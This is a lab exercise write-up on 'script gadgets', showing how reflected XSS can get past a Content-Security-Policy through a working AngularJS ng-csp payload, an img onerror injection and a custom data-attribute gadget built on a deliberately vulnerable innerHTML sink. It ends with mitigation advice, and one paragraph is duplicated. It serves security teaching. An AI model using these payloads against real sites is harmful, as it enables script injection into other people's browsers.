Script Gadgets

1. Introduction

Script gadgets are legitimate JavaScript fragments within an application’s legitimate code base. In most cases, these gadgets utilize DOM selectors to interact with elements in the Web document. Through an initial injection point, the attacker can inject fine-looking HTML elements, which are ignored by potential mitigation technique but match the selector of the gadget. This way, the attacker can hijack the input of a gadget and, thus, cause processing of his input, which in turn leads to code execution of attacker-controlled values.

Start the docker image and access the web application.

You should see a tool to convert celsius to fahrenheit.

  • Play around with the tool.
  • Debug the application and identify possible parameters vulnerable to reflected XSS.

Please anwer the following questions by the end of the exercise:

  • What could you do to mitigate/prevent the attack in the first exercise (AngularJS example).
  • Why does the CSP policy in the second exercise (Theia IDE) not prevent the execution of the alert function.

2. Analysis

In the URL we can see the query parameter c which is probably vulnerable for XSS because it is reflected on the web page.

Injecting the following attack payload does not work with modern browsers.

https://.idocker.vuln.land/?c=%3Cscript%3Ealert(1)%3C/script%3E

Modern browsers enforce the CSP policy in the meta tag (see HTML) which prevents execution of inline javascript. Note that the CSP policy is quite strict and it may look difficult to exploit the application at first sight.

The application uses the old but popular AngularJS framework by injecting the corresponding JavaScript resource. Many application trust such (JavaScript) frameworks. Could you imagine that this may expose a risk for the application?

3. Exploiting

Now try to inject the following code:

https://.idocker.vuln.land/?c=%3Cdiv%20ng-app%20ng-csp%3E%0A%20%20%3Cdiv%20ng-focus%3D%22x%3D%24event%22%20id%3Df%20tabindex%3D0%3Efoo%3C%2Fdiv%3E%0A%20%20%3Cdiv%20ng-repeat%3D%22%28key%2C%20value%29%20in%20x.view%22%3E%0A%20%20%20%20%3Cdiv%20ng-if%3Dkey%3D%3D%22window%22%3E%7B%7B%20value.alert%20%3D%20%5B1%5D.reduce%28value.alert%2C%201337%29%20%7D%7D%3C%2Fdiv%3E%0A%20%20%3C%2Fdiv%3E%0A%3C%2Fdiv%3E

You have to click on the string „foo“ to trigger the JavaScript function (popup).

Note that this payload completely bypasses the CSP policy.

Payload can be decoded here: https://www.urldecoder.org/

<div ng-app ng-csp>
  <div ng-focus="x=$event" id=f tabindex=0>foo</div>
  <div ng-repeat="(key, value) in x.view">
    <div ng-if=key=="window">{{ value.alert = [1].reduce(value.alert, 1337) }}</div>
  </div>
</div>

3.1 Angular.min.js

To understand why this payloads triggers the alert(„1337“) function we would need to do a deep dive into the code of

https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js

Script gadgets attack payloads are very specific to the affected JavaScript library. Nevertheless we can identify certain elements in this attack payload to better understand the problem.

  • We injected a set of HTML tags (div-Elements here) as well as custom HTML attributes (ng-focus, ng-repeat, ng-if, …) into the DOM of the web application.
  • The actual attack payload (alert(„1337“)) which is executed is part of the „ng-if“ attribute.
  • There is various preparation code distributed over the different ng- attributes values. This code is necessary so that the alert-function is executed at the end.

To understand why all of this triggers the alert-function we first have to understand what the AngularJS framework does here.

By loading the framework into the web application using the script HTML tag the framework monitors the DOM for specific HTML tag, HTML attributes or template expressions like {{<expression>}}. If the framework identifies such an element, custom code from the framework may be triggered which again modifies the DOM. This is standard functionality to create a dynamic application. The problem comes when this library code contains vulnerabilities like evaluating untrusted and unsanitized code. Attacker may then be able to exploit the vulnerabilities by crafting corresponding attack payloads consisting of special HTML tags and attributes.

Script gadgets are very dangerous because they are hard to mitigate. 2nd line of defence measures like CSP policies, HTML sanitizer or WAFs can often be circumvented. The problem is that script gadget re-use existing, trusted code in the application to trigger the attack payload. Due to this, the execution of the attack payloads often looks legitimate for the corresponding mitigation measures (e.g. for CSP policies). For WAFs the filtering of such exploit code is very difficult because the attack code is very framework-specific and can often be veiled using different encodings (hard to develop a generic filter).

Script gadgets are very dangerous because they are hard to mitigate. 2nd line of defence measures like CSP policies, HTML sanitizer or WAFs can often be circumvented. The problem is that script gadget re-use existing, trusted code in the application to trigger the attack payload. Due to this, the execution of the attack payloads often looks legitimate for the corresponding mitigation measures (e.g. for CSP policies). For WAFs the filtering of such exploit code is very difficult because the attack code is very framework-specific and can often be veiled using different encodings (hard to develop a generic filter).

4. Build your own Script Gadget

Start the Web IDE, create the following two files and access gadget.html with Firefox or Chrome.

gadget.html

<html>
    <head>
        <meta charset="UTF-8">
<!--
        <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; object-src 'none'">
-->
    </head>
    <body>
        <h1>My Script Gadget</h1>
        <div id="app"></div>
        <script src="main.js"></script>
    </body>
</html>

main.js

let ref=document.location.href.split("?inj=")[1];
document.getElementById("app").innerHTML = decodeURIComponent(ref);

Note that this web application contains an obvious XSS vulnerability. In main.js we extract the string after „inj=“ from the current URL. After that we URL-decode the value and assign the result to the content of the div-tag with the id app. By using the innerHTML property for the assignment the browsers interprets the string as HTML and renders the content, i.e. executes potential malicious HTML.

Exploit the vulnerability by injecting the following payload:

https://<your-docker-id>.idocker.vuln.land/gadget.html?inj=<img src=foo onerror="alert(1)">

The onerror event handler on the injected image is executed because we did not specify a valid image URL in the src attribute.

Uncomment the CSP policy in gadgets.html. Try again to run the exploit code from the previous step.

Check the CSP error message in the browser console and note that the CSP policy prevents execution of the injected script tag because unsafe-inline is not allowed.

Append the following function to main.js

document.addEventListener("DOMContentLoaded", function() {         
    if (expr =  document.getElementById("expression")) {
        let data = expr.getAttribute("data");
        let data_idx = expr.getAttribute("data-idx");
        // trick to execute function from string without eval
        var fn = window[data];
        var fnparams = [data_idx];
        if (typeof fn === "function") fn.apply(null, fnparams);
    }
});

Assume this function is already part of the web application. It could be written by the developer of the web application or simply be part of a 3rd party library included in the application (like a common JavaScript framework).

This function plays the role of the Script Gadget here.

Before we use the script gadget to execute our payload let’s take a look what the gadget does.

The gadget is executed when the DOM of the application is loaded. After that it gets the value of two data-attributes (data and data-idx) of the HTML tag with the id expression. The first data attribute value is used to look up a function name in the window object and the other attribute is used to pass function parameters. Note that we do not need to use the unsafe eval function here to call the function. Therefore the CSP policy does not have to include unsafe-eval to allow executing the code. Common JavaScript frameworks use similar methods to support apparently safe CSP policies.

If an attacker sees such a piece of code she somehow tries to find a way to control the argument of the function and to inject her malicious code in this function. Such a dangerous function is sometimes called a sink and the attacker tries to find a user-controlled source which is passed trough the application code and ends up in the sink. A typical source could be an HTTP parameter. The application may modify or extract only parts of the source before passing it to the sink. In this case the attacker often needs to craft the source so that the modified string will be converted to the actual payload the attacker wants to execute in the application.

Here is a possible attack payload which uses the script gadget to execute the alert Function:

https://<your docker id>.idocker.vuln.land/gadget.html?inj=<div id="expression" data="alert" data-idx="1337">

5. Answers and Mitigation

What could you do to mitigate/prevent the attack in the first exercise?

  • Update JS libraries like jQuery, Angular etc.
  • The CSP feature trusted types may limit the risk of DOM based XSS in the future
  • Do not reflect untrusted user input in the webpage. If you have to reflect user input, escape the input using html entities before writing it into the DOM or HTML.

Why does the CSP Policy in the second exercise not prevent the execution of the alert function?

  • The script gadged is whitelisted by the CSP (script-src ’self‘).
  • Script gadgets are often part of the necessary library code of the application, like jQuery or Angular and must therefore be whitelisted in the CSPNote that CSP does not prevent injection of HTML tags that are not related to javascript like <div>

PDF Report:

script_gadget#1